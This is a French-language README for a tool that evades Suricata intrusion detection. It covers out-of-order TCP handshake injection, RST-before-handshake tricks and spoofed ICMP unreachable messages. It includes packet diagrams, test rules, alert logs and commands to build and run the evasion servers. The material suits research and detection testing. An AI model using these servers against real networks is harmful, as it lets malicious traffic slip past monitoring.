
Astuces de contournement IDS
Ces programmes sont uniquement destinés à des fins éducatives. Ne les utilisez pas sans autorisation.
Si, côté serveur, vous brisez l'ordre normal des paquets de la poignée de main TCP à 3 voies et injectez des données de réponse avant que la poignée de main ne soit terminée, les données seront toujours reçues par le client, mais certains moteurs IDS peuvent ignorer les vérifications de contenu sur celles-ci.
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # Server responses as it should, but ...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # It sends HTTP response before the 3whs is completed
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # Moreover it finishes TCP session
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # Then it sends a HTTP GET request as nothing wrong happened
Suricata IDS < 4.0.4 est sujet à ce problème : les signatures HTTP ou Stream-TCP ne déclencheront pas d'alerte sur le contenu injecté. Nous ne voyons aucune alerte sur des données de réponse HTTP malveillantes si nous appliquons les signatures suivantes sur le trafic réseau du PoC.
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
Les clients Windows sont capables de traiter des données TCP même si elles arrivent peu de temps après un paquet TCP RST. Certains IDS traitent cela correctement et essaient de faire correspondre les données après le RST, mais certains arrêtent d'inspecter le flux TCP après la réception du RST.
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # Server responses with TCP RST
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # And SYN-ACK shortly after RST
... 3whs continues ...
Suricata IDS est toujours sujet à ce problème : les signatures HTTP ou Stream-TCP ne déclencheront pas d'alerte sur cette session TCP.
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
Le serveur doit répondre avec un message ICMP de type « Destination inaccessible » code « Port inaccessible » si un paquet UDP a été envoyé à un port UDP fermé. L'IDS peut interpréter les réponses ICMP inaccessibles de la même manière que les paquets TCP RST et arrêter ou limiter l'inspection du trafic de ce flux UDP. Si une réponse UDP normale suit le message ICMP, alors l'attaquant contourne les vérifications UDP du trafic provenant de son serveur. Notez que les clients normaux ferment les connexions si un ICMP Destination inaccessible a été reçu, donc nous intervertissons les adresses IP et les ports UDP dans l'UDP attaché au message ICMP pour que le client n'accepte pas ce message ICMP mais que l'IDS le fasse.
Client -> [UDP Req] -> Evil Server # Client starts UDP session by sending a packet
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # Server responses with *improved* ICMP Destination Unreachable first
Client <- [UDP Resp] <- Evil Server # And with UDP answer as usual
Suricata IDS < 3.1.2 est sujet à ce problème : les signatures UDP ne correspondront pas aux paquets du serveur malveillant.
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
Ces techniques peuvent être appliquées à d'autres outils et systèmes de détection d'intrusion ou de surveillance réseau.
Kirill Shipulin de Positive Technologies (@kirill_wow) Slides de ma conférence Hackfest 2018 disponibles
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80
